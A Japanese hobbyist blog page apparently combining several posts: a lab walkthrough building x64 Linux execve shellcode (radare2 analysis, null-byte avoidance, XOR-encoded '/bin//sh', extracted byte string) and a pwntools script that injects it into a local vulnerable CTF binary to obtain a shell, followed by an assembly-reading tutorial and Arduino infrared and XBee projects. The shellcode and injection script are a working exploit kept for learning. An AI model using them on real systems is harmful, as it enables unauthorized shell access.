バイナリアン入門 第三回(x64, Linux)

はじめに

基礎の基礎の部分は第一回第二回で簡単にふれたので、今回はCTFで苦戦したシェルコードにふれてみる。作成したシェルコードは、脆弱性のある実行ファイルに喰わせて動作を確認する。

シェルコードとは

https://ja.wikipedia.org/wiki/%E3%82%B7%E3%82%A7%E3%83%AB%E3%82%B3%E3%83%BC%E3%83%89

ソフトウェアのセキュリティホールを利用するペイロードとして使われるコード断片である。侵入したマシンを攻撃者が制御できるようにするため、シェルを起動することが多いことから「シェルコード」と呼ぶ。シェルコードは機械語で書かれることが多いが、機械語でなくとも同様のタスクを実行できるコード断片はシェルコードと呼ばれる。

解析用コードの作成

いきなりシェルコードを書くのは無理なので、シェルコードの元となる/bin/shを起動するコードをC言語で書いて、吐き出したバイナリコードを解析しながら作成してみる。

execveについては、マニュアルに詳しく書いてあるのでそれに従う。後々シェルコードを作成する時に意識しといた方が良い部分としては、マニュアル内の以下の引用の部分かな。

argv と envp はいずれものヌルポインターで終わっている必要がある

実際に作成したコードはこれ(この場合はvoid mainのが綺麗適切かも)

#include<unistd.h>
int main()
{
   // ヌルコードが入らないよう8バイトで合わせている。詳細は後述。
   char filename[] = "/bin//sh";
   char *argv[] = {"/bin//sh", NULL};

   execve(filename, argv, NULL);
}

実行ファイル作成

ダイナミックリンクだと解析する際にexecveの内部処理がどのようになっているのかが見られないため、スタティックリンクで実行ファイルを作成する。

gcc -static -g shell.c

実行ファイルの解析

Radare2を使って、バイナリを解析する。

r2 -d a.out
[0x00001050]> aaa
[Cannot analyze at 0x00001040g with sym. and entry0 (aa)
[x] Analyze all flags starting with sym. and entry0 (aa)
[Cannot analyze at 0x00001040ac)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for objc references
[x] Check for vtables
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information
[x] Use -AA or aaaa to perform additional experimental analysis.

[0x00001050]> afl
0x00001050    1 42           entry0
0x00001080    4 41   -> 34   sym.deregister_tm_clones
0x000010b0    4 57   -> 51   sym.register_tm_clones
0x000010f0    5 57   -> 50   entry.fini0
0x00001130    1 5            entry.init0
0x00001000    3 23           sym._init
0x000011f0    1 1            sym.__libc_csu_fini
0x000011f4    1 9            sym._fini
0x00001190    4 93           sym.__libc_csu_init
0x00001135    1 76           main
0x00001030    1 6            sym.imp.execve

[0x00001050]> s main

[0x00001135]> pdf
/ (fcn) main 76
|   int main (int argc, char **argv, char **envp);
|           ; var char *var_20h @ rbp-0x20
|           ; var int32_t var_18h @ rbp-0x18
|           ; var int32_t var_9h @ rbp-0x9
|           ; var int32_t var_1h @ rbp-0x1
|           ; DATA XREF from entry0 @ 0x106d
|           0x00001135      55             push rbp                    ; shell.c:3 {
|           0x00001136      4889e5         mov rbp, rsp
|           0x00001139      4883ec20       sub rsp, 0x20
|           0x0000113d      48b82f62696e.  movabs rax, 0x68732f2f6e69622f ; shell.c:4    char filename[] = "/bin//sh"; ; '/bin//sh'
|           0x00001147      488945f7       mov qword [var_9h], rax
|           0x0000114b      c645ff00       mov byte [var_1h], 0
|           0x0000114f      488d05ae0e00.  lea rax, qword str.bin__sh  ; shell.c:5    char *argv[] = {"/bin//sh", NULL}; ; 0x2004 ; "/bin//sh"
|           0x00001156      488945e0       mov qword [var_20h], rax
|           0x0000115a      48c745e80000.  mov qword [var_18h], 0
|           0x00001162      488d4de0       lea rcx, qword [var_20h]    ; shell.c:7    execve(filename, argv, NULL);
|           0x00001166      488d45f7       lea rax, qword [var_9h]
|           0x0000116a      ba00000000     mov edx, 0
|           0x0000116f      4889ce         mov rsi, rcx
|           0x00001172      4889c7         mov rdi, rax
|           0x00001175      e8b6feffff     call sym.imp.execve
|           0x0000117a      b800000000     mov eax, 0
|           0x0000117f      c9             leave                       ; shell.c:8 }
\           0x00001180      c3             ret

[0x00401b5d]> s sym.execve
[0x0043c6e0]> pdf
            ;-- __execve:
/ (fcn) sym.execve 33
|   sym.execve ();
|           ; CALL XREF from main @ 0x401b9d
|           0x0043c6e0      b83b000000     mov eax, 0x3b               ; ';' ; 59
|           0x0043c6e5      0f05           syscall
|           0x0043c6e7      483d01f0ffff   cmp rax, -0xfff
|       ,=< 0x0043c6ed      7301           jae 0x43c6f0
|       |   0x0043c6ef      c3             ret
|       |   ; CODE XREF from sym.execve @ 0x43c6ed
|       `-> 0x0043c6f0      48c7c1c0ffff.  mov rcx, -0x40
|           0x0043c6f7      f7d8           neg eax
|           0x0043c6f9      648901         mov dword fs:[rcx], eax
|           0x0043c6fc      4883c8ff       or rax, 0xffffffffffffffff
\           0x0043c700      c3             ret

main()

メイン関数(0x00001135から0x00001180)を読んでいく。
関数呼び出しをする際のお決まり(Function prologue)とコールスタックの確保に関しては割愛。

push rbp                       ; shell.c:3 {
mov rbp, rsp
sub rsp, 0x20
movabs rax, 0x68732f2f6e69622f ; shell.c:4    char filename[] = "/bin//sh"; ; '/bin//sh'
mov qword [var_9h], rax
mov byte [var_1h], 0
lea rax, qword str.bin__sh     ; shell.c:5    char *argv[] = {"/bin//sh", NULL}; ; 0x2004 ; "/bin//sh"
mov qword [var_20h], rax
mov qword [var_18h], 0
lea rcx, qword [var_20h]       ; shell.c:7    execve(filename, argv, NULL);
lea rax, qword [var_9h]
mov edx, 0
mov rsi, rcx
mov rdi, rax
call sym.imp.execve
mov eax, 0
leave                          ; shell.c:8 }
ret

第1引数の値準備

文字列0x68732f2f6e69622f(/bin//sh)raxに格納してvar_9h(rbp-0x9)のアドレスに配置。
そのすぐ後ろの連続したアドレスvar_1h(rbp-0x1)にヌルポインタ(0)を配置している。

movabs rax, 0x68732f2f6e69622f
mov qword [var_9h], rax
mov byte [var_1h], 0

上の命令を実行後のスタック領域はこんな感じ。
0x7ffde0f508d7から0x7ffde0f508dfまでのところに2f 6269 6e2f 2f73 6800が設定されているのが確認できる。
マニュアルでargvはヌルポインタで終わっている必要があるという意味はこの00の部分になる。

- offset -       0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x7ffde0f508c0  9001 9700 f155 0000 5000 9700 f155 0000  .....U..P....U..
0x7ffde0f508d0  c009 f5e0 fd7f 002f 6269 6e2f 2f73 6800  ......./bin//sh.
0x7ffde0f508e0  9001 9700 f155 0000 bb0b 0e24 c57f 0000  .....U.....$....
0x7ffde0f508f0  0000 0000 0000 0000 c809 f5e0 fd7f 0000  ................

rax 0x68732f2f6e69622f
rbp 0x7ffde0f508e0

第2引数の値準備

次に、/bin//shの文字列が配置されているアドレスをraxに一度格納しvar_20h(rbp-0x20)に配置する。
そのすぐ後ろの連続したアドレスvar_18h(rbp-0x18) には先程と同様にヌルポインタ(0)を配置している。

lea rax, qword str.bin__sh
mov qword [var_20h], rax
mov qword [var_18h], 0

上の命令を実行後のスタック領域はこんな感じ。
0x7ffde0f508c0から0x7ffde0f508cfまでのところに/bin//shを指すアドレスとヌルポインタ(0410 9700 f155 0000 0000 0000 0000 0000)が配置されている。

- offset -       0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x7ffde0f508c0  0410 9700 f155 0000 0000 0000 0000 0000  .....U..........
0x7ffde0f508d0  c009 f5e0 fd7f 002f 6269 6e2f 2f73 6800  ......./bin//sh.
0x7ffde0f508e0  9001 9700 f155 0000 bb0b 0e24 c57f 0000  .....U.....$....
0x7ffde0f508f0  0000 0000 0000 0000 c809 f5e0 fd7f 0000  ................

rax 0x55f100971004
rbp 0x7ffde0f508e0

引数設定

最後に、スタック領域に積んでいる値を適切な引数に設定する。
引数とレジスタの対応についてはSystem V ABIを参照すればいいけど、このサイトでわかりやすくまとまっているため引用させて頂く。

x64のSystem V ABI(Unix系OSの関数呼び出し規約)では第1~6引数まではレジスタを使用し、第7引数以降はスタックを使うようにするようだ。 具体的に以下の順番で引数をレジスタに入れる。
引数 レジスタ
第1引数 RDI
第2引数 RSI
第3引数 RDX
第4引数 RCX
第5引数 R8
第6引数 R9

execve(filename, argv, NULL);の引数設定をアセンブラコードで表現すると、以下のようになる。

第3引数のedxには ヌルポインタを設定。
第2引数のrsiには/bin//shのアドレスを指すアドレスを設定(C言語のポインタのポインタ)
第1引数のrdiには/bin//shのアドレスを設定。
そして、最後にsym.imp.execveをコールする。

lea rcx, qword [var_20h]
lea rax, qword [var_9h]

mov edx, 0
mov rsi, rcx
mov rdi, rax

call sym.imp.execve

sym.imp.execve()

sym.imp.execveの処理も見てみる。
execveを使うためには、eaxシステムコール番号59を設定してsyscall命令を使用するといいようだ。

mov eax, 0x3b
syscall

シェルコード作成

上の解析結果から、execveを使用してシェルを実行する時のアセンブラコードが理解できたので、execveの実行に必要なアセンブラコードだけを抜き出してみる。

文字列変換処理

の前に、今回使用する脆弱性のあるバイナリは、CTFで使っていたモノを流用しているため、b,i,n,s,hの文字が存在すると処理が終了するようになっている。なのでxorで文字列を反転させている。

filename = 0x68732f2f6e69622f # /bin//sh
xor = (filename ^ 0xffffffffffffffff)
print format(xor, 'x') #978cd0d091969dd0

シェルコード作成

第1引数に値を設定するために、第1引数用のレジスタrdiと一時変数として利用するレジスタraxを初期化する。

global _start
_start:
xor rdi,rdi
xor rax,rax

解析結果で見たように、execveの第1引数には実行するファイル名/bin//sh + ヌルポインタ(0)が配置されているアドレスを格納する必要があるので、必要な値をスタックに積んで、rspのアドレスをrdiに格納する。

が、シェルコードを作成する時の注意事項として、ヌル文字は含めちゃだめと言う決まりがある。

https://ja.wikipedia.org/wiki/%E3%82%B7%E3%82%A7%E3%83%AB%E3%82%B3%E3%83%BC%E3%83%89#%E3%83%8C%E3%83%AB%E6%96%87%E5%AD%97%E6%8E%92%E9%99%A4

一般にシェルコードはヌル文字を終端とする文字列として対象プロセスに注入されるため、ヌル文字(一般に0x00)をその途中で使うことはできない。途中にヌル文字があると、そこまでしか文字列としてコピーされない。従ってヌル文字に相当するコードがシェルコードの途中にある場合、シェルコードは最後まで実行されない。

なので、ヌルポインタの設定で愚直にmov rax, 0みたいな命令を書くと、ヌル文字が入ってしまうのでシェルコードが最後まで実行されず、何回やっても成功しない。そのため回避策として初期化したrax(値は0x00)をスタックに積むようにしている。

/bin//shでスラッシュを連続させているのも、スラッシュ一つで文字数が7文字にしていると、8文字に相当する部分に0x00のヌル文字が混入してしまうため、スラッシュを連続することでヌル文字の混入を防いでいる。

push rax
mov rbx,0x9b888fd091969dd0
xor rbx,0xFFFFFFFFFFFFFFFF
push rbx
mov rdi, rsp

execveの第2引数argvにはポインタのポインタを設定する必要があるため、/bin//shのアドレスが格納されているrdiをスタックにプッシュし、rspのアドレスをrsiに設定するようにしている。

push rax
push rdi
xor rsi,rsi
mov rsi, rsp

execveの第3引数にはヌルポインタを設定する必要があるので、ヌル文字が混入しないようにxor0にする。

xor rdx,rdx

syscall命令を使用する。

mov al,0x3b
syscall

最終的なアセンブラコードはこのようになる。

global _start
_start:
xor rdi,rdi
xor rax,rax
push rax
mov rbx,0x9b888fd091969dd0
xor rbx,0xFFFFFFFFFFFFFFFF
push rbx
mov rdi, rsp
push rax
push rdi
xor rsi,rsi
mov rsi, rsp
xor rdx,rdx
mov al,0x3b
syscall

バイナリ作成

コンパイル、リンクして実行ファイルを生成。

nasm -f elf64 shell.asm 
ld -o shellcode.out shell.o

シェルコード抽出

最後に、作成した実行ファイルから機械語を抽出する。
※ ヌルコード(0x00)が入っていないことを確認する

(objdump -M intel -d shellcode.out | grep ' ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g')

#\x48\x31\xff\x48\x31\xf6\x48\x31\xc0\x48\x31\xd2\x50\x48\xbb\xd0\x9d\x96\x91\xd0\xd0\x8c\x97\x48\x83\xf3\xff\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05

シェルコード実行

脆弱性のある実行ファイルにシェルコードを送り込むにあたり、pwntoolsというライブラリが大変便利なため今回はこれを使う。 詳細は使い方は以下のサイトが大変わかりやすくまとまっているため参照する。

https://qiita.com/8ayac/items/12a3523394080e56ad5a

from pwn import *

context(os="linux", arch="amd64")

def main():
    shellcode="\x48\x31\xff\x48\x31\xf6\x48\x31\xc0\x48\x31\xd2\x50\x48\xbb\xd0\x9d\x96\x91\xd0\xd0\x8c\x97\x48\x83\xf3\xff\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"

    conn = process("./shellcoder")
    conn.recvuntil("Are you shellcoder?")
    conn.send(shellcode)
    conn.interactive()

if __name__ == "__main__":
    main()

脆弱性のある実行ファイルに、作成したシェルコードをぶん投げる。

root@kali-linux:~/sandbox/pwn/0_shellcoder/lab# python attack.py 
[+] Starting local process './shellcoder': pid 10639
[*] Switching to interactive mode

$ ls
a.out    buf        core   shell.asm  shell.c_bk  shellcoder
ans.py    compile.sh  shell  shell.c    shell.o      xor.py
$ pwd
/root/sandbox/pwn/0_shellcoder/lab
$ quit
[*] Process './shellcoder' stopped with exit code 0 (pid 10639)
[*] Got EOF while sending in interactive

まとめ

自分でシェルコードを作成してみるまでは、\x48\x31\xffみたいな16進数の値をみるとなんでもASCII文字に変換しようとしてみたり、これをどうみたらアセンブラコードになるんだろう?みたいな愚行を色々と重ねた時期もあったが、理解が深まった今となっては懐かしい思い出。

前よりも、バイナリコードとの距離が近づいた気がする。

その他

今回は学習の一環でシェルコードを自力作成したが、EXPLOIT-DATABASEなどにもx64のシェルコードはあるので、検証等で利用する場合はこういうのを使った方が断然スマート。
www.exploit-db.com

バイナリアン入門 第二回(x64, Linux)

はじめに

第一回ではmain関数の中で引数なしのprintfを利用しただけなので、今回は関数呼び出しと可変長引数のprintfを使用して解析してみようと思う。

解析用コードの作成

引数を5つ貰う関数の呼び出しとその結果を出力する単純なコードを用意する。
また、アセンブラコードではローカル変数がどのように扱われるのかを確認するため、add関数内では敢えてsum変数を用意してみた。

#include <stdio.h>

int add(int a, int b, int c, int d, int e) {
    int sum = 0;
    sum = a + b + c + d + e;
    return sum;
}

int main(void)
{
    printf("sum = %d\n", add(1, 2, 3, 4, 0));
    return 0;
}

実行ファイルを作成する

gcc sample.c

実行ファイルの解析

Radare2を使って、バイナリを解析する。
Radare2は以前Twitterで知ったんだけど、結構使いやすくて重宝しそうな予感満載。

使い方は、このページがとても詳しい。
radare.gitbooks.io

何ができるか調べる分にはいいんだけど、詳しすぎてあれなので、解析する上で最低限必要そうなコマンドが紹介されているこのサイトが大変参考になりました。 www.bioerrorlog.work

r2 -d a.out
Process with PID 14020 started...
= attach 14020 14020
bin.baddr 0x5564c6ff6000
Using 0x5564c6ff6000
asm.bits 64
[0x7f7b5ad84090]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[Warning: Invalid range. Use different search.in=? or anal.in=dbg.maps.x
Warning: Invalid range. Use different search.in=? or anal.in=dbg.maps.x
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for objc references
[x] Check for vtables
[TOFIX: aaft can't run in debugger mode.ions (aaft)
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information
[x] Use -AA or aaaa to perform additional experimental analysis.

[0x7f7b5ad84090]> afl
0x5564c6ff7050    1 42           entry0
0x5564c6ff9fe0    1 4124         reloc.__libc_start_main
0x5564c6ff7080    4 41   -> 34   sym.deregister_tm_clones
0x5564c6ff70b0    4 57   -> 51   sym.register_tm_clones
0x5564c6ff70f0    5 57   -> 50   entry.fini0
0x5564c6ff7040    1 6            sym..plt.got
0x5564c6ff7130    1 5            entry.init0
0x5564c6ff7000    3 23           map.root_a.out.r_x
0x5564c6ff7210    1 1            sym.__libc_csu_fini
0x5564c6ff7135    1 58           sym.add
0x5564c6ff7214    1 9            sym._fini
0x5564c6ff71b0    4 93           sym.__libc_csu_init
0x5564c6ff716f    1 61           main
0x5564c6ff7030    1 6            sym.imp.printf
0x5564c6ff6000    3 404  -> 393  loc.imp._ITM_deregisterTMCloneTable
0x5564c6ff61aa    5 32   -> 55   fcn.5564c6ff61aa

[0x7f7b5ad84090]> s main
[0x5564c6ff716f]> pdf
/ (fcn) main 61
|   int main (int argc, char **argv, char **envp);
|           ; DATA XREF from entry0 @ 0x5564c6ff706d
|           0x5564c6ff716f      55             push rbp
|           0x5564c6ff7170      4889e5         mov rbp, rsp
|           0x5564c6ff7173      41b800000000   mov r8d, 0
|           0x5564c6ff7179      b904000000     mov ecx, 4
|           0x5564c6ff717e      ba03000000     mov edx, 3
|           0x5564c6ff7183      be02000000     mov esi, 2
|           0x5564c6ff7188      bf01000000     mov edi, 1
|           0x5564c6ff718d      e8a3ffffff     call sym.add
|           0x5564c6ff7192      89c6           mov esi, eax
|           0x5564c6ff7194      488d3d690e00.  lea rdi, qword str.sum____d ; 0x5564c6ff8004 ; "sum = %d\n"
|           0x5564c6ff719b      b800000000     mov eax, 0
|           0x5564c6ff71a0      e88bfeffff     call sym.imp.printf     ; int printf(const char *format)
|           0x5564c6ff71a5      b800000000     mov eax, 0
|           0x5564c6ff71aa      5d             pop rbp
\           0x5564c6ff71ab      c3             ret

[0x5564c6ff716f]> s sym.add
[0x5564c6ff7135]> pdf
/ (fcn) sym.add 58
|   sym.add (int32_t arg1, int32_t arg2, int32_t arg5, int32_t arg3, int32_t arg4);
|           ; var int32_t var_24h @ rbp-0x24
|           ; var int32_t var_20h @ rbp-0x20
|           ; var int32_t var_1ch @ rbp-0x1c
|           ; var int32_t var_18h @ rbp-0x18
|           ; var int32_t var_14h @ rbp-0x14
|           ; var int32_t var_4h @ rbp-0x4
|           ; arg int32_t arg1 @ rdi
|           ; arg int32_t arg2 @ rsi
|           ; arg int32_t arg5 @ r8
|           ; arg int32_t arg3 @ rdx
|           ; arg int32_t arg4 @ rcx
|           ; CALL XREF from main @ 0x5564c6ff718d
|           0x5564c6ff7135      55             push rbp
|           0x5564c6ff7136      4889e5         mov rbp, rsp
|           0x5564c6ff7139      897dec         mov dword [var_14h], edi ; arg1
|           0x5564c6ff713c      8975e8         mov dword [var_18h], esi ; arg2
|           0x5564c6ff713f      8955e4         mov dword [var_1ch], edx ; arg3
|           0x5564c6ff7142      894de0         mov dword [var_20h], ecx ; arg4
|           0x5564c6ff7145      448945dc       mov dword [var_24h], r8d ; arg5
|           0x5564c6ff7149      c745fc000000.  mov dword [var_4h], 0
|           0x5564c6ff7150      8b55ec         mov edx, dword [var_14h]
|           0x5564c6ff7153      8b45e8         mov eax, dword [var_18h]
|           0x5564c6ff7156      01c2           add edx, eax
|           0x5564c6ff7158      8b45e4         mov eax, dword [var_1ch]
|           0x5564c6ff715b      01c2           add edx, eax
|           0x5564c6ff715d      8b45e0         mov eax, dword [var_20h]
|           0x5564c6ff7160      01c2           add edx, eax
|           0x5564c6ff7162      8b45dc         mov eax, dword [var_24h]
|           0x5564c6ff7165      01d0           add eax, edx
|           0x5564c6ff7167      8945fc         mov dword [var_4h], eax
|           0x5564c6ff716a      8b45fc         mov eax, dword [var_4h]
|           0x5564c6ff716d      5d             pop rbp
\           0x5564c6ff716e      c3             ret

main関数の解析

main関数から読んでみる。

push rbp
mov rbp, rsp
mov r8d, 0
mov ecx, 4
mov edx, 3
mov esi, 2
mov edi, 1
call sym.add
mov esi, eax
lea rdi, qword str.sum____d ; 0x5564c6ff8004 ; "sum = %d\n"
mov eax, 0
call sym.imp.printf     ; int printf(const char *format)
mov eax, 0
pop rbp
ret

Function prologue

関数呼び出しをする際のお決まり(Function prologue)

push   rbp
mov    rbp,rsp

add関数への引数設定

add関数に渡すための値をレジスタに設定している。

引数の渡し方はx86-64のABIに準拠している。 どのABIか調べるにはIntelのサイトで「linux 64」などのキーワードで検索すると、該当するPDFが見つかると思う。
関数呼び出しに関する決まりごとは23ページのFigure 3.4: Register Usageに記載がある。

%rdi used to pass 1st argument to functions
%rsi used to pass 2nd argument to functions
%rdx used to pass 3rd argument to functions; 2nd return
%rcx used to pass 4th integer argument to functions
%r8 used to pass 5th argument to functions
%r9 used to pass 6th argument to functions

mov r8d, 0
mov ecx, 4
mov edx, 3
mov esi, 2
mov edi, 1

add関数呼び出し

call sym.add

printfへの引数設定

printf関数に渡すための値をレジスタに設定している。

第一引数のrdiにはフォーマットとなる文字列のアドレスを設定し、第二引数のesiにはsum = %d\nの一つ目の%dに表示するための合計値を格納している(戻り値はeaxに格納される)

mov eax, 0命令は、今まで見てきた引数渡しのパターンに当てはまらないため調べてみると、printfの引数がベクトルレジスタ浮動小数点)を必要とする場合、その数を設定する必要があるらしい。今回は整数型なので0を設定している。

ここに関しては、PDFの55ページ3.5.7 Variable Argument Listsで説明されている。

When a function taking variable-arguments is called, %rax must be set to the total number of floating point parameters passed to the function in vector registers.

mov esi, eax
lea rdi, qword str.sum____d ; 0x5564c6ff8004 ; "sum = %d\n"
mov eax, 0
call sym.imp.printf         ; int printf(const char *format)

main()終了

main関数の戻り値としてeaxに0を設定し、スタックに積んでいたベースポインタの値をrbpにポップ(Function epilogue)してきたらretでmain関数を終了する。

mov eax, 0
pop rbp
ret   

add関数の解析

次にadd関数内の処理を読んでみる。

push rbp
mov rbp, rsp
mov dword [var_14h], edi ; arg1
mov dword [var_18h], esi ; arg2
mov dword [var_1ch], edx ; arg3
mov dword [var_20h], ecx ; arg4
mov dword [var_24h], r8d ; arg5
mov dword [var_4h], 0
mov edx, dword [var_14h]
mov eax, dword [var_18h]
add edx, eax
mov eax, dword [var_1ch]
add edx, eax
mov eax, dword [var_20h]
add edx, eax
mov eax, dword [var_24h]
add eax, edx
mov dword [var_4h], eax
mov eax, dword [var_4h]
pop rbp
ret

関数呼び出しをする際のお決まり(Function prologue)

push rbp
mov rbp, rsp

コールスタックに引数を格納

渡された引数をコールスタックに格納している。

なぜ[rbp-0x14]という中途半端な場所からスタートしているのか調べてみると、「アライメント境界」というのが関係しているらしいが、よくわからなかったのでそのまま進める。

mov dword [var_14h], edi ; arg1
mov dword [var_18h], esi ; arg2
mov dword [var_1ch], edx ; arg3
mov dword [var_20h], ecx ; arg4
mov dword [var_24h], r8d ; arg5

sum変数初期化

変数領域sum0で初期化する。

mov dword [var_4h], 0

引数の合計値を求める

渡された引数1から引数5までの値を足している。

mov edx, dword [var_14h]
mov eax, dword [var_18h]
add edx, eax
mov eax, dword [var_1ch]
add edx, eax
mov eax, dword [var_20h]
add edx, eax
mov eax, dword [var_24h]
add eax, edx

sum変数に結果を格納

足し算の結果を変数sumに当たるアドレス[rbp-0x4]に格納し、戻り値としてeaxレジスタに値を格納する。

mov dword [var_4h], eax
mov eax, dword [var_4h]

add関数終了

add関数の戻り値としてeaxに0を設定し、スタックに積んでいたベースポインタの値をrbpにポップ(Function epilogue)してきたらretでmain関数に戻る。

pop rbp
ret 

まとめ

雑にサクサクと読んでいったけど、関数呼び出しを含めた基礎の基礎の部分をふんわりと触れた。

Arduinoで赤外線通信をする

記事一覧

はじめに

前回、XBeeによる無線通信の確認で室温を送受信することができたので、今度はエアコンを操作するために赤外線通信を試してみる。

準備

以下の部品を千石電気で揃える

リモコンの信号を解析する

IRRemoteという、赤外線通信を行うための素敵なライブラリが存在しているので、それを使ってサクッと解析しようと思っていたのだが、エアコンのリモコンが送信する信号量が多すぎてそのままだと解析できない問題に遭遇。 巷ではIRremoteInt.hの以下の数値をMax(255)にすれば5割の確率で解析できるという情報が流れていたが、残念ながらそれでも足りなかった。

#define RAWBUF  101  // Maximum length of raw duration buffer

色々と物色していると、これまた素敵なサイトと遭遇した。

hawksnowlog: Arduino で赤外線信号を学習してエアコンを制御してみた

ここで紹介されているスケッチを使わせてもらい、無事リモコンの通信を解析できた。

f:id:kyonta1022:20191024001118p:plain

エアコンに信号を送る

解析した値を使って、エアコンに対して信号を送る。

IRRemoteインストール

以下の手順で、ArduinoIDEからIRremoteをインストールする

スケッチ > ライブラリをインクルード > ライブラリを管理 > IRremote > インストール

信号を送信する

次に、赤外線を送信するスケッチ例を開く

ファイル > スケッチ例 > IRremote > IRsendRawDemo

最後にirSignalの中身を解析した値で置き換えて、Arduinoに書き込む

/*
 * IRremote: IRsendRawDemo - demonstrates sending IR codes with sendRaw
 * An IR LED must be connected to Arduino PWM pin 3.
 */

#include <IRremote.h>

IRsend irsend;

void setup()
{

}

void loop() {
  int khz = 38;
  unsigned int irSignal[591] = {3480, 1676, 516, 1204, 464, 1252, 464, 396, 520, 336, 524, 340, 516, 1200, 516, 344, 516, 344, 524, 1192, 524, 1196, 520, 336, 520, 1200, 528, 332, 524, 332, 528, 1192, 520, 1200, 520, 340, 516, 1200, 524, 1192, 524, 336, 524, 336, 520, 1200, 516, 340, 520, 340, 516, 1204, 520, 336, 524, 336, 520, 340, 520, 340, 468, 392, 464, 396, 460, 396, 464, 396, 472, 388, 468, 392, 468, 388, 468, 392, 468, 392, 464, 396, 464, 396, 472, 384, 472, 388, 472, 388, 468, 392, 468, 388, 468, 1252, 516, 344, 524, 332, 524, 336, 472, 388, 468, 392, 468, 1248, 520, 1200, 512, 344, 524, 336, 472, 388, 472, 388, 468, 1248, 520, 340, 516, 1204, 524, 332, 524, 336, 472, 388, 468, 392, 468, 392, 464, 1252, 516, 1200, 524, 336, 524, 1196, 520, 1196, 520, 340, 516, 344, 464, 396, 472, 388, 468, 392, 468, 1248, 468, 392, 464, 392, 468, 1252, 464, 396, 472, 388, 468, 388, 468, 392, 468, 392, 464, 396, 464, 396, 460, 400, 468, 388, 472, 392, 464, 392, 468, 392, 464, 392, 468, 392, 464, 396, 464, 396, 460, 400, 468, 388, 472, 388, 472, 388, 468, 392, 464, 392, 464, 396, 464, 396, 460, 400, 468, 392, 468, 388, 468, 392, 468, 392, 464, 396, 464, 396, 460, 396, 464, 396, 472, 388, 468, 388, 472, 392, 464, 392, 468, 392, 464, 396, 464, 392, 464, 400, 456, 400, 468, 392, 468, 388, 468, 396, 464, 392, 464, 396, 464, 396, 460, 400, 468, 388, 472, 388, 468, 392, 468, 388, 468, 392, 468, 392, 464, 396, 464, 396, 460, 1256, 472, 384, 472, 1248, 468, 392, 464, 1256, 460, 396, 464, 1256, 468, 1248, 468, 13276, 3504, 1656, 468, 1248, 464, 1252, 464, 396, 496, 364, 504, 356, 500, 1216, 500, 360, 496, 364, 496, 1220, 496, 1224, 492, 368, 500, 1216, 500, 360, 496, 364, 496, 1224, 492, 1224, 500, 360, 500, 1216, 496, 1224, 492, 364, 496, 364, 492, 1228, 500, 360, 496, 364, 496, 1220, 496, 364, 492, 368, 492, 364, 504, 356, 500, 360, 496, 364, 496, 364, 492, 368, 492, 368, 488, 368, 500, 360, 500, 360, 496, 360, 500, 360, 496, 364, 496, 364, 492, 364, 496, 364, 492, 368, 500, 360, 500, 1216, 496, 364, 496, 364, 492, 368, 492, 368, 488, 368, 492, 1224, 500, 1220, 496, 364, 496, 364, 492, 368, 492, 364, 492, 1228, 500, 356, 500, 1220, 496, 364, 492, 364, 496, 368, 488, 368, 500, 360, 500, 1216, 500, 1220, 496, 364, 492, 1224, 504, 1216, 496, 364, 496, 360, 500, 360, 496, 364, 492, 368, 492, 1224, 500, 360, 500, 360, 496, 1220, 496, 364, 496, 364, 504, 356, 500, 360, 496, 364, 496, 364, 492, 364, 496, 364, 492, 368, 492, 364, 492, 368, 500, 360, 500, 360, 496, 364, 496, 360, 496, 364, 496, 364, 492, 368, 488, 368, 500, 360, 500, 360, 500, 360, 496, 360, 496, 364, 496, 364, 492, 368, 500, 360, 488, 368, 500, 360, 500, 360, 496, 364, 496, 364, 492, 364, 496, 364, 492, 368, 492, 368, 500, 356, 500, 360, 496, 364, 496, 364, 492, 368, 492, 364, 492, 368, 492, 368, 500, 360, 496, 360, 500, 360, 496, 364, 496, 364, 492, 368, 492, 364, 492, 368, 492, 368, 500, 360, 496, 364, 492, 368, 492, 364, 492, 1224, 492, 368, 492, 1224, 500, 360, 500, 1220, 496, 364, 492, 1224, 500, 1220, 500};
  irsend.sendRaw(irSignal, sizeof(irSignal) / sizeof(irSignal[0]), khz);
  delay(4000); 
}

f:id:kyonta1022:20191024001141p:plain

Tips

赤外線が出ているかどうかを確認する時は、スマフォのカメラで赤外線LEDを見てみると出力が確認できる

XBeeのフレームをArduinoで表示する

はじめに

前回はXBee同士でのAPIモードを使った温度受信を試してみたので、今回はコーディネータが受信した値をArduinoからシリアルモニタに出力してみる。

kyonta1022.hatenablog.com

XBee親機(コーディネータ)の設定

コーディネータと接続するArduinoへのスケッチ書込みと、XBeeと接続する。

Arduinoへスケッチ書込み

コーディネータが受信したフレームをコンソールに出力するようにする。
XBeeとの送受信はシリアルポート経由で行う。

Arduinoへ書き込む時にシリアルポートがXBeeと繋がった状態だとエラーが起きるので、書き込む時だけは配線しないようにする。

#include <stdlib.h>

#define XBEE_FRAME 0x7E
#define CHECK_SUM_LENGTH 1

void setup() {
  Serial.begin(9600);
}

// API frame structure
// https://www.digi.com/resources/documentation/Digidocs/90001942-13/concepts/c_api_frame_structure.htm?tocpath=XBee%20API%20mode%7C_____2
void loop() {
  if(Serial.available() > 0){
    long delimiter = Serial.read();
    if(delimiter == XBEE_FRAME){
      delay(50);
      long len_msb = Serial.read();
      long len_lsb = Serial.read();
      long frame_data_length = len_msb + len_lsb;
      Serial.print("Receive data from xbee [ " + String(delimiter, HEX) + " " + String(len_msb, HEX) + " " + String(len_lsb, HEX) + " ");
      for(int i = 0; i < (frame_data_length + CHECK_SUM_LENGTH); i++){
        Serial.print(String(Serial.read(), HEX) + " ");
      }
      Serial.println("]");
    }
  }
}

回路図

こんな感じで、電源供給はArduinoから行い、シリアルポートを繋ぐだけ。 f:id:kyonta1022:20191019002821p:plain

XBee子機(ルータ)の設定

前回の設定と回路のままで子機を動かす。

実行

ArduinoIDEのシリアルモニタを開くと、子機から受信したフレームが表示されているのを確認できる。

